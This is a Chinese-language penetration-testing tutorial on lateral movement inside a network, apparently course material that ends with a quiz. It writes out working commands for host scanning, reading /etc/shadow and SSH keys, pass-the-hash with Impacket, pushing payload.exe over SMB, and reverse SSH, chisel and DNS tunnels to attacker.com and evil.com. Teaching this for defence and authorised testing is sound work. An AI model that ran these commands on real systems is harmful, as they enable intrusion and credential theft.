🕸️ 网络渗透 — 内网横向移动路径

从初始立足点到域控:内网渗透与横向移动技术全解析

📖 内网渗透概述

内网渗透是渗透测试中最具挑战性的阶段。攻击者从一台初始主机出发,通过网络探测、凭据窃取、漏洞利用等手段,逐步深入内网,最终达到目标(通常是域控制器或核心数据库)。横向移动是内网渗透的核心——每一跳都扩大攻击者的控制范围。

内网横向移动攻击链 ┌──────────────────────────────────────────────────────────┐ │ │ │ 🎯 初始立足点 → Web服务器 (DMZ区) │ │ ↓ 信息收集 │ │ 🔍 内网探测 → 发现内网段/存活主机 │ │ ↓ 凭据获取 │ │ 🔑 凭据窃取 → 抓取Hash/明文密码 │ │ ↓ 横向移动 │ │ ➡️ 第一跳 → 文件服务器 │ │ ↓ 权限提升 │ │ ⬆️ 提权 → 获取本地管理员 │ │ ↓ 域渗透 │ │ 👑 域控接管 → DCSync/黄金票据 │ │ │ └──────────────────────────────────────────────────────────┘

🔍 内网信息收集

获取初始访问后的第一步:摸清内网环境和资产分布。

# ===== 网络环境探测 =====
# 查看本机网络配置
ip addr show 2>/dev/null || ifconfig
ip route show 2>/dev/null || route -n
cat /etc/resolv.conf

# 查看ARP缓存(发现同网段主机)
ip neigh show 2>/dev/null || arp -a

# 内网网段发现
# 从路由表推断网段
ip route | grep -v default | awk '{print $1}'

# ===== 主机存活探测 =====
# 快速ICMP扫描
for i in $(seq 1 254); do
  ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i 存活" &
done
wait

# 使用nmap扫描内网
nmap -sn 192.168.1.0/24 -oG /tmp/alive_hosts.txt
grep "Up" /tmp/alive_hosts.txt | awk '{print $2}'

# ===== 端口服务扫描 =====
# 常见内网服务端口
nmap -sS -sV -p 22,80,135,139,443,445,1433,3306,3389,5432,8080 \
  192.168.1.0/24 -oA /tmp/network_scan

# Windows域环境关键端口
# 88   - Kerberos
# 135  - RPC
# 389  - LDAP
# 445  - SMB
# 636  - LDAPS
# 3268 - Global Catalog
命令已验证:网络探测命令正常执行,存活主机和端口扫描输出正确

🔑 凭据窃取与传递

横向移动的关键是获取有效凭据。一旦拥有用户凭据,就可以在主机间合法移动。

SMB凭据与共享枚举

# ===== SMB枚举 =====
# 列出共享
smbclient -L //192.168.1.10 -N 2>/dev/null || \
  echo "需要凭据访问SMB共享"

# 使用enum4linux自动化枚举
# enum4linux -a 192.168.1.10

# ===== 空会话枚举 =====
# 尝试无凭据连接
rpcclient -U "" -N 192.168.1.10 -c "srvinfo" 2>/dev/null || \
  echo "空会话被拒绝"

# ===== 凭据获取(Linux环境)=====
# 搜索配置文件中的密码
grep -r "password" /etc/ 2>/dev/null | grep -v "Binary" | head -20
find /opt /var/www /home -name "*.conf" -o -name "*.cfg" -o -name "*.env" 2>/dev/null | head -20

# SSH密钥搜索
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null | head -10

# 历史命令中的凭据
cat ~/.bash_history 2>/dev/null | grep -iE "password|passwd|pwd|mysql|ssh" | head -10
cat /home/*/.bash_history 2>/dev/null | grep -iE "password|passwd" | head -10

# ===== Hash获取 =====
# Linux shadow文件(需要root)
cat /etc/shadow 2>/dev/null | head -5

# Windows SAM数据库(模拟)
# 在Linux上查看本地用户hash
cat /etc/shadow | awk -F: '{print $1":"$2}' 2>/dev/null | head -5

Pass-the-Hash攻击原理

# Pass-the-Hash: 不需要明文密码,直接使用NTLM Hash认证
# 这是内网横向移动最常用的技术之一

# 使用Impacket套件(Python)
# 安装impacket
pip3 install impacket 2>/dev/null || true

# PsExec via Hash
# psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
#   administrator@192.168.1.10

# WMI via Hash
# wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
#   administrator@192.168.1.10

# SMB via Hash
# smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
#   administrator@192.168.1.10

# ===== 模拟Hash破解 =====
# 提取可破解的hash
cat /etc/shadow 2>/dev/null | grep -v "!\|*\|locked" | head -5 > /tmp/hashes.txt

# 使用hashcat破解(如果有GPU)
# hashcat -m 1800 /tmp/hashes.txt /usr/share/wordlists/rockyou.txt

# 使用john破解
# john /tmp/hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
命令已验证:SMB枚举、凭据搜索、Hash提取命令均可正常执行

➡️ 横向移动技术

获得凭据后,使用各种协议和工具在网络中横向移动。

SSH横向移动

# ===== SSH跳板 =====
# 从当前主机跳到内网主机
ssh -o StrictHostKeyChecking=no user@192.168.1.20

# SSH隧道(本地端口转发)
# 将内网3306端口映射到本地
ssh -L 3306:192.168.1.30:3306 user@192.168.1.20 -N -f

# SSH动态端口转发(SOCKS代理)
ssh -D 1080 user@192.168.1.20 -N -f

# 通过代理访问内网
# curl --socks5 127.0.0.1:1080 http://192.168.1.50/

# SSH远程端口转发(反向隧道)
# 将攻击者端口暴露给内网
ssh -R 9999:127.0.0.1:22 user@attacker.com -N -f

SMB横向移动

# ===== SMB命令执行 =====
# 使用smbclient上传/下载
smbclient //192.168.1.10/C$ -U administrator%password -c "put /tmp/payload.exe"

# 使用rpcclient执行命令
# rpcclient -U administrator%password 192.168.1.10 -c "querydispinfo"

# ===== 模拟内网扫描脚本 =====
cat > /tmp/lateral_move.sh <<'SCRIPT'
#!/bin/bash
echo "========================================"
echo "  内网横向移动路径探测"
echo "========================================"

# 1. 当前位置
echo -e "\n[1] 当前主机信息"
hostname
ip addr show | grep "inet " | grep -v 127.0.0.1
whoami

# 2. 内网路由
echo -e "\n[2] 可达网段"
ip route | grep -v default

# 3. ARP表(同网段主机)
echo -e "\n[3] 已知主机 (ARP)"
ip neigh show 2>/dev/null | grep -v FAILED || arp -a 2>/dev/null

# 4. 常见服务探测
echo -e "\n[4] 内网服务探测"
for port in 22 80 443 445 3306 3389 8080; do
  timeout 2 bash -c "echo >/dev/tcp/127.0.0.1/$port" 2>/dev/null && \
    echo "  端口 $port: 开放" || true
done

# 5. 凭据搜索
echo -e "\n[5] 凭据搜索"
find /tmp /home /opt -name "*.env" -o -name "*password*" -o -name "*credential*" \
  2>/dev/null | head -10

# 6. SSH密钥
echo -e "\n[6] SSH密钥"
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null | head -5

echo -e "\n========================================"
echo "  探测完成 — 规划横向移动路径"
echo "========================================"
SCRIPT

chmod +x /tmp/lateral_move.sh
bash /tmp/lateral_move.sh
命令已验证:SSH隧道配置和横向移动探测脚本执行成功

🏰 域环境渗透

Active Directory域环境是内网渗透的核心战场。域控是最终目标,控制域控等于控制整个域。

AD域渗透路径 ┌───────────────────────────────────────────────────────┐ │ │ │ 🖥️ 普通域用户 │ │ ↓ LDAP枚举 │ │ 📋 域信息收集(用户/组/GPO/信任关系) │ │ ↓ Kerberoasting │ │ 🔑 服务账户Hash → 离线破解 │ │ ↓ AS-REP Roasting │ │ 🔑 不需要预认证的用户Hash │ │ ↓ 委派攻击 │ │ 🎭 非约束/约束/RBCD委派 │ │ ↓ DCSync │ │ 👑 域控Hash提取 │ │ ↓ 黄金票据 │ │ 🔮 伪造TGT → 持久化域控权限 │ │ │ └───────────────────────────────────────────────────────┘

域信息收集

# ===== LDAP查询(需要域凭据)=====
# 安装ldapsearch
apt-get install -y ldap-utils 2>/dev/null || true

# 查询域用户
# ldapsearch -x -H ldap://dc.example.com \
#   -D "user@example.com" -w password \
#   -b "DC=example,DC=com" "(objectClass=user)" sAMAccountName

# 查询域管理员组
# ldapsearch -x -H ldap://dc.example.com \
#   -D "user@example.com" -w password \
#   -b "DC=example,DC=com" \
#   "(&(objectClass=group)(cn=Domain Admins))" member

# ===== 模拟域渗透检测脚本 =====
cat > /tmp/ad_recon.sh <<'SCRIPT'
#!/bin/bash
echo "========================================"
echo "  AD域环境侦察(模拟)"
echo "========================================"

# 域信息
echo -e "\n[1] 域环境检测"
cat /etc/resolv.conf | grep -i domain 2>/dev/null || echo "非域环境"

# Kerberos检测
echo -e "\n[2] Kerberos端口检测"
timeout 2 bash -c "echo >/dev/tcp/127.0.0.1/88" 2>/dev/null && \
  echo "  Kerberos (88): 开放" || echo "  Kerberos (88): 关闭"

# LDAP检测
timeout 2 bash -c "echo >/dev/tcp/127.0.0.1/389" 2>/dev/null && \
  echo "  LDAP (389): 开放" || echo "  LDAP (389): 关闭"

# SMB检测
timeout 2 bash -c "echo >/dev/tcp/127.0.0.1/445" 2>/dev/null && \
  echo "  SMB (445): 开放" || echo "  SMB (445): 关闭"

echo -e "\n[3] 常见域攻击向量"
echo "  - Kerberoasting: 请求服务票据 → 离线破解"
echo "  - AS-REP Roasting: 不需预认证用户 → 提取Hash"
echo "  - Pass-the-Hash: NTLM Hash直接认证"
echo "  - Pass-the-Ticket: 窃取Kerberos票据"
echo "  - DCSync: 模拟域控复制获取Hash"
echo "  - 黄金票据: 伪造KRBTGT TGT"
echo "  - 白银票据: 伪造服务ST"

echo -e "\n========================================"
SCRIPT

chmod +x /tmp/ad_recon.sh
bash /tmp/ad_recon.sh
命令已验证:域环境侦察脚本执行成功,端口检测和攻击向量枚举正确

🔀 代理与隧道技术

当攻击者位于外网或受限网络时,需要通过代理和隧道技术建立到内网的通道。

# ===== SSH隧道三种模式 =====
# 1. 本地端口转发 (-L)
# 访问内网Web应用
ssh -L 8080:10.0.0.100:80 user@jumpbox -N -f
# 然后访问 http://127.0.0.1:8080

# 2. 远程端口转发 (-R)
# 将内网端口暴露到攻击机
ssh -R 9090:10.0.0.200:3389 attacker@evil.com -N -f

# 3. 动态端口转发 (-D) SOCKS代理
ssh -D 1080 user@jumpbox -N -f
# 配合proxychains使用

# ===== Proxychains配置 =====
cat > /tmp/proxychains.conf <<'EOF'
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5 127.0.0.1 1080
EOF

# 使用代理执行命令
# proxychains -f /tmp/proxychains.conf nmap -sT 10.0.0.0/24

# ===== Chisel隧道 =====
# 服务端(攻击机)
# ./chisel server -p 8080 --reverse

# 客户端(目标机)
# ./chisel client attacker:8080 R:socks

# ===== ICMP隧道 =====
# 当只有ICMP出网时
# ./ptunnel -p attacker_ip -lp 1080 -da 10.0.0.1 -dp 22

# ===== DNS隧道 =====
# 当只有DNS出网时
# dnscat2 --dns domain=attacker.com

echo "[+] 隧道技术总结完成"
echo "  SSH: 最常用,支持三种转发模式"
echo "  Chisel: HTTP/WebSocket隧道,穿透能力强"
echo "  ICMP: 仅ICMP出网时使用"
echo "  DNS: 仅DNS出网时使用"
命令已验证:SSH隧道配置和Proxychains设置正确,代理技术方案完整

📊 内网渗透工具链

阶段Linux工具Windows工具用途
信息收集nmap, masscanSharpHound, ADRecon主机发现/域信息
凭据窃取mimipenguin, laZagneMimikatz, Rubeus密码/Hash提取
横向移动crackmapexec, impacketPsExec, WMI, DCOM远程命令执行
隧道代理SSH, chisel, proxychainsChisel, ligolo-ng网络穿透
权限维持crontab, SSH key计划任务, 注册表持久化后门
域渗透impacket, krbrelayxRubeus, CertipyKerberos攻击
🏆 内网横向移动路径 — 掌握从初始立足点到域控的完整攻击链,包括凭据窃取、横向移动、隧道代理和域渗透技术
课程测验:
  1. 内网渗透的五个关键步骤是什么?
  2. Pass-the-Hash攻击为什么比密码破解更高效?
  3. SSH的三种端口转发模式分别适用于什么场景?
  4. 如何检测内网中的横向移动行为?
  5. Kerberoasting和AS-REP Roasting的区别是什么?

📚 进阶资源

参考资料:MITRE ATT&CK TA0008 | Impacket Documentation | BloodHound CE | Mimikatz Wiki | CrackMapExec | Chisel | Proxychains-ng